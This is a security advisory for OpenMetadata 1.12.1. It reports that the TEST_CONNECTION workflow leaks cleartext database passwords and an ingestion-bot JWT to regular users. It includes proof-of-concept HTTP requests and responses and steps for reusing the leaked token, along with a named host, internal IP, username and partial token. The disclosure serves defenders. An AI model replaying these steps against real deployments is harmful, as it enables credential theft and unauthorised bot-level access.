GHSA-9vmh-whc4-7phg
Suggest an improvement- Source
- https://github.com/advisories/GHSA-9vmh-whc4-7phg
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9vmh-whc4-7phg/GHSA-9vmh-whc4-7phg.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-9vmh-whc4-7phg
- Aliases
-
- CVE-2026-46481
- Published
- 2026-05-21T16:36:25Z
- Modified
- 2026-05-21T16:45:13.144102854Z
- Severity
-
- 8.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L CVSS Calculator
- Summary
- OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
- Details
-
This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production In OpenMetadata 1.12.1, a non-admin SSO user can trigger a
TEST_CONNECTIONworkflow for a Database Service and receive, in the HTTP 201 response ofPOST /api/v1/automations/workflows, both:- The cleartext database password in
request.connection.config.password. - The ingestion bot JWT in
openMetadataServerConnection.securityConfig.jwtToken.
The leaked ingestion-bot token can then be reused as
Authorization: Bearer <jwt>to access sensitive service APIs (for example,GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the
automations/workflowsTEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.
Version / Product
- Product: OpenMetadata (open source, Apache 2.0)
- Version: 1.12.1
- GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (
secretsManagerProvider: "db").
Preconditions
- Authenticated SSO user with access to the UI.
- User can open a Database Service and click “Test connection”.
- No server admin role, no shell/DB access.
PoC (short)
1) Login as a regular SSO user.
2) In the UI go to: Settings → Services → Database Services → utplracscan2srvetel
Open the connection tab and click “Test connection”.3) The browser sends:
POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json
{ "name": "test-connection-Oracle-XXXX", "workflowType": "TESTCONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cxoracle", "username": "qprogobiernodatos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplracscan2srvetel" } }
Note: in the request the password is masked as "********".
4) The server responds with HTTP 201 and a body similar to:
{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TESTCONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cxoracle", "username": "qprogobiernodatos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplracscan2srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }
Key points: - request.connection.config.password now contains the real Oracle DB password in cleartext. - openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
5) Reuse the leaked ingestion-bot JWT:
GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <leaked_ingestion-bot_JWT> Accept: application/json
The API returns the full database service including username and password, confirming bot-level access.
Impact / Severity
- Any user who can run “Test connection” on a database service can:
- Recover the cleartext DB credentials.
- Recover a long‑lived ingestion-bot JWT.
- Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.
** <img width="1256" height="653" alt="LOWLEVELTOKEN" src="https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc" /> <img width="194" height="339" alt="USERROL" src="https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b" /> <img width="972" height="389" alt="CLEARPOC" src="https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984" />**
- The cleartext database password in
- Database specific
{ "cwe_ids": [ "CWE-201" ], "github_reviewed": true, "github_reviewed_at": "2026-05-21T16:36:25Z", "nvd_published_at": null, "severity": "HIGH" }- References
Affected packages
Maven / org.open-metadata:openmetadata-service
Package
- Name
- org.open-metadata:openmetadata-service
- View open source insights on deps.dev
- Purl
- pkg:maven/org.open-metadata/openmetadata-service
Affected ranges
- Type
- ECOSYSTEM
- Events
-
Introduced0Unknown introduced version / All previous versions are affectedFixed1.12.4